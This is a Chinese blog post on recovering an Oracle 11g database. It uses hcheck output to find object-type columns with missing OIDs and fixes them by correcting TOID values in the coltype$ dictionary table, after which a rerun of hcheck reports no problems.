    Procedure Name Version Vs Release TimestampResult------------------------------ ... ---------- -- ---------- --------------------.- LobNotInObj ... 1102000400 <= *All Rel* 02/14 22:49:53 PASS
    .- MissingOIDOnObjCol ... 1102000400 <= *All Rel* 02/14 22:49:53 FAIL
    HCKE-0002: Object type column with missing OID$ (Doc ID 1360268.1)
    OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA TabProp=
    OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=28=USER_DATATabProp=539101206OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=31=SYS_NC00031$
    TabProp=539101206OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=46=SYS_NC00046$
    TabProp=539101206OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=28=USER_DATATabProp=539101190OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=35=SYS_NC00035$
    TabProp=539101190OBJ#=13273 Name=SYS.AQ_EVENT_TABLE IntCol#=25=USER_DATA TabProp=539363346OBJ#=13281 Name=SYS.AQ$AQ_EVENT_TABLE IntCol#=20=USER_DATA TabProp=
    OBJ#=13282 Name=SYS.AQ$_AQ_EVENT_TABLE_F IntCol#=24=USER_DATA TabProp=
    OBJ#=13285 Name=SYS.AQ_PROP_TABLE IntCol#=28=USER_DATA TabProp=539101186OBJ#=13591 Name=SYS.SYS$SERVICE_METRICS_TAB IntCol#=28=USER_DATATabProp=539101186.- SourceNotInObj ... 1102000400 <= *All Rel* 02/14 22:49:53 PASS
    .- OversizedFiles ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- PoorDefaultStorage ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- PoorStorage ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- TabPartCountMismatch ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedTabComPart ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- MissingSum$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- MissingDir$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- DuplicateDataobj ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- ObjSynMissing ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- ObjSeqMissing ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedUndo ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedIndex ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedIndexPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedIndexSubPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedTable ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedTablePartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedTableSubPartition ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- MissingPartCol ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedSeg$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- OrphanedIndPartObj# ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- DuplicateBlockUse ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- FetUet ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- Uet0Check ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- SeglessUET ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- BadInd$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- BadTab$ ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- BadIcolDepCnt ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- ObjIndDobj ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- TrgAfterUpgrade ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- ObjType0 ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- BadOwner ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- StmtAuditOnCommit ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- BadPublicObjects ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- BadSegFreelist ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- BadDepends ... 1102000400 <= *All Rel* 02/14 22:49:54 PASS
    .- CheckDual ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- ObjectNames ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- BadCboHiLo ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- ChkIotTs ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- NoSegmentIndex ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- BadNextObject ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- DroppedROTS ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- FilBlkZero ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- DbmsSchemaCopy ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- OrphanedObjError ... 1102000400 > 1102000000 02/14 22:49:55 PASS
    .- ObjNotLob ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- MaxControlfSeq ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- SegNotInDeferredStg ... 1102000400 > 1102000000 02/14 22:49:55 PASS
    .- SystemNotRfile1 ... 1102000400 > 902000000 02/14 22:49:55 PASS
    .- DictOwnNonDefaultSYSTEM ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- OrphanTrigger ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS
    .- ObjNotTrigger ... 1102000400 <= *All Rel* 02/14 22:49:55 PASS---------------------------------------14-FEB-2019 22:49:55 Elapsed: 2 secs---------------------------------------Found 11 potential problem(s) and 0 warning(s)
    Contact Oracle Support with the output and trace fileto check if the above needs attention or notPL/SQL procedure successfully completed.Statement processed.Complete output is in trace file:
    /u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_ora_1808_HCHECK.trc

    发现了11处问题,都是HCKE-0002: Object type column with missing OID$。 这是什么意思呢?

    分析hcheck脚本的MissingOIDOnObjCol存储过程:

    Procedure MissingOIDOnObjCol (nF In Number Default 0, VerChk In Number Default 5, Verbose In Boolean Default FALSE) Is nFr Number ; Cursor sCur1 Is Select o.obj# , o.type#, o.owner#, o.name, c.col#, c.intcol#, c.name cname, t.property From obj$ o, col$ c, coltype$ ct, oid$ oi, tab$ t Where o.obj# = ct.obj# And ct.obj# = c.obj# And ct.col# = c.col# And ct.intcol# = c.intcol# And oi.oid$(+) = ct.toid And o.obj# = t.obj#(+) And oi.oid$ is null; ps1 Varchar2(10) := 'HCKE-0002'; ps1a Varchar2(65) := 'Object type column with missing OID ps1n Varchar2(40) := '(Doc ID 1360268.1)';

    CursorRun Boolean := FALSE;

    Begin

    If ( nF = 0) Then

    nFr := FindFname('MissingOIDOnObjCol') ; Else nFr := nF;

    End If ;

    If ChecknCatVnFR (nCatV, nFr, VerChk) = FALSE Then Return; End If;

    For c1 In sCur1 Loop

    If (not CursorRun) Then

    report_failure('FAIL',ps1,ps1a,ps1n,CursorRun);

    End If;

    put_line(' OBJ#='||c1.obj#||' Name='||Owner(c1.owner#)||'.'

    ||c1.name||' IntCol#='||c1.intcol#||'='||c1.cname

    ||' TabProp='||c1.property);

    Fatal := Fatal + 1 ;

    End Loop ;

    If (CursorRun) Then put(chr(10)) ; else put_line('PASS'); End If ;

    End ;

    仔细对脚本进行分析,推测是当表的字段类型为type类型的对象时,coltype$的toid和oid$的oid$不匹配导致的,应该是之前为了open数据库替换块的时候造成的。

    以OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA为例继续分析:

    由于数据字典不一致,该表是不可以正常访问:

    SQL> desc SYS.AQ$SCHEDULER$_EVENT_QTAB
    ERROR:
    ORA-00600: internal error code, arguments: [16687], [12946], [20], [], [], [], [], [], [], [], [], []
    SQL> select * from SYS.AQ$SCHEDULER$_EVENT_QTAB;select * from SYS.AQ$SCHEDULER$_EVENT_QTAB
    *ERROR at line 1:
    ORA-21700: object does not exist or is marked for delete

    对正常的数据库查询可以看的SYS.AQ$SCHEDULER$_EVENT_QTAB的字段名为USER_DATA的字段类型为SCHEDULER$_EVENT_INFO,通过下面的查询可以发现确实不匹配(以oid$的为准,因为之前替换的是C_OBJ#,而coltype$是C_OBJ#中的一个表):

    SQL> select oid$ from oid$ where obj# in (select obj# from obj$ where name='SCHEDULER$_EVENT_INFO');
    
    OID$--------------------------------7BB17EE961D00845E0536438A8C00848
    
    SQL> select toid from coltype$ where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20;
    
    TOID--------------------------------81673B4EDDF5111FE0536438A8C02F5D
    通过下面的查询也可以推出以oid$的为准
    SQL> select toid from type$ where toid in ('7BB17EE961D00845E0536438A8C00848','81673B4EDDF5111FE0536438A8C02F5D');
    
    TOID--------------------------------7BB17EE961D00845E0536438A8C00848

    修改coltype$后恢复正常:

    SQL> update coltype$ set toid='7BB17EE961D00845E0536438A8C00848' where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20;
    
    1 row updated.
    
    SQL> commit;Commit complete.SQL> @flcSystem altered.System altered.SQL> select * from AQ$SCHEDULER$_EVENT_QTAB;no rows selected

    逐一修改后,再次执行hcheck:

    SQL> @hcheck
    HCheck Version 07MAY18 on 15-FEB-2019 01:56:00----------------------------------------------Catalog Version 11.2.0.4.0 (1102000400)
    db_name: LXY
    Catalog Fixed
    Procedure Name Version Vs Release Timestamp Result------------------------------ ... ---------- -- ---------- -------------- ------.- LobNotInObj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- MissingOIDOnObjCol ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- SourceNotInObj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OversizedFiles ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- PoorDefaultStorage ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- PoorStorage ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- TabPartCountMismatch ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedTabComPart ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- MissingSum$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- MissingDir$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- DuplicateDataobj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- ObjSynMissing ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- ObjSeqMissing ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedUndo ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedIndex ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedIndexPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedIndexSubPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedTable ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedTablePartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedTableSubPartition ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- MissingPartCol ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedSeg$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- OrphanedIndPartObj# ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- DuplicateBlockUse ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- FetUet ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- Uet0Check ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- SeglessUET ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- BadInd$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- BadTab$ ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- BadIcolDepCnt ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- ObjIndDobj ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- TrgAfterUpgrade ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- ObjType0 ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- BadOwner ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- StmtAuditOnCommit ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- BadPublicObjects ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- BadSegFreelist ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- BadDepends ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- CheckDual ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- ObjectNames ... 1102000400 <= *All Rel* 02/15 01:56:00 PASS
    .- BadCboHiLo ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- ChkIotTs ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- NoSegmentIndex ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- BadNextObject ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- DroppedROTS ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- FilBlkZero ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- DbmsSchemaCopy ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- OrphanedObjError ... 1102000400 > 1102000000 02/15 01:56:01 PASS
    .- ObjNotLob ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- MaxControlfSeq ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- SegNotInDeferredStg ... 1102000400 > 1102000000 02/15 01:56:01 PASS
    .- SystemNotRfile1 ... 1102000400 > 902000000 02/15 01:56:01 PASS
    .- DictOwnNonDefaultSYSTEM ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- OrphanTrigger ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS
    .- ObjNotTrigger ... 1102000400 <= *All Rel* 02/15 01:56:01 PASS---------------------------------------15-FEB-2019 01:56:01 Elapsed: 1 secs---------------------------------------Found 0 potential problem(s) and 0 warning(s)
    PL/SQL procedure successfully completed.Statement processed.

    至此整个数据库比较完整的恢复完毕。

  • 相关阅读:
    如何基于Azure平台实现MySQL HA(方法论篇)
    如何对Azure磁盘性能进行测试
    Azure底层架构的初步分析
    聊聊Azure的安全性
    关于Azure带宽的测试
    JavaScript 优化
    SQL时间段查询
    win7+64位+Oracle+11g+64位下使用PLSQL+Developer+的解决办法
    putty 使用方法,中文教程
    怎样才能专心工作
  • 原文地址:https://www.cnblogs.com/buffercache/p/11137480.html
Copyright © 2011-2022 走看看